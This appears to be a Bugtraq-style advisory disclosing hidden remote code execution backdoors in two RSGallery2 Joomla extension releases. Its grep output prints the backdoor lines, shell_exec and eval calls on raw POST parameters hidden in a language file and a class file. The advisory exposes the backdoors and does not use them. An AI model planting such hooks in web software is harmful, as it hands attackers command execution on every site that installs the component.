Vulnerability:
  Remote code execution back door(s)

Software:
  RSGallery2 - Gallery Extension for Joomla!
  We are currently working on a new website. All files are still available at 
  the JoomlaCode project page.

Severity:
  Not a big deal.  Joomla components contain all sorts of obfuscated junk all 
  the time.  Who cares what it does?

URLs:
http://rsgallery2.net/
http://joomlacode.org/gf/download/frsrelease/6756/38088/com_rsgallery2_legacy_1.14.3.zip
http://joomlacode.org/gf/download/frsrelease/7791/36662/com_rsgallery2_2.0.0b1.zip

Joomlacode.org says, about these releases:
  RSGallery2 1.14.3 Security Release
  Jonah Braun
  2008-02-13
  This is an updated production alpha containing a low threat security fix. If 
  you use commenting you should upgrade. An option to show/hide the Search box   
  has also been added. See the official site for downloads and support: 
  http://rsgallery2.net/

  RSGallery2 2.0.0b1 released
  John Caprez
  2008-06-23
  This is the first version of RSGallery2 that runs in Joomla 1.5 native mode.
 
  Special thanks goes to all the translators providing the updated language 
  files and the testers of the nightly builds.
   Download it and enjoy. Feel free to report any bugs or problems in the forum 
  at the RSGallery2 main web site 

Vendor notified:
  I tried.  Not very hard though.  joomlacode doesn't seem to have a security 
  contact and links to joomla.org as if they are the same crowd.  I'm sending 
  a BCC to the given address for Jonah Braun though.  I'll send it to bugtraq, 
  and they will sit on it for a few hours.
  http://developer.joomla.org/security.html
      Huh?  Do I need more coffee, or does this page say to contact them using 
      the details at this page?  So you do that, and it says ... no wait, 
      infloop.  Oh wait, there is a contact form.  Filled something in.  Blah.

Vulnerability:

% wget \
http://joomlacode.org/gf/download/frsrelease/6756/38088/com_rsgallery2_legacy_1.14.3.zip

% unzip com_rsgallery2_legacy_1.14.3.zip

% egrep -r '(eval|exec).*POST' .

./language/english-utf8.php:                $result = 
shell_exec($_POST['cmd'] . " 2>&1 ; pwd");
./language/english-utf8.php:            $result = shell_exec($_POST['cmd'] . " 
2>&1");
./includes/rsgallery.class.php:$out = execute($_POST['cmd']);
./includes/rsgallery.class.php:eval($_POST['php']);
./includes/rsgallery.class.php:$out = execute($_POST['alias']);

There's other fun obfuscated javascript hiding in 'eval's'.

Ditto version 2

nuf sed  &:-)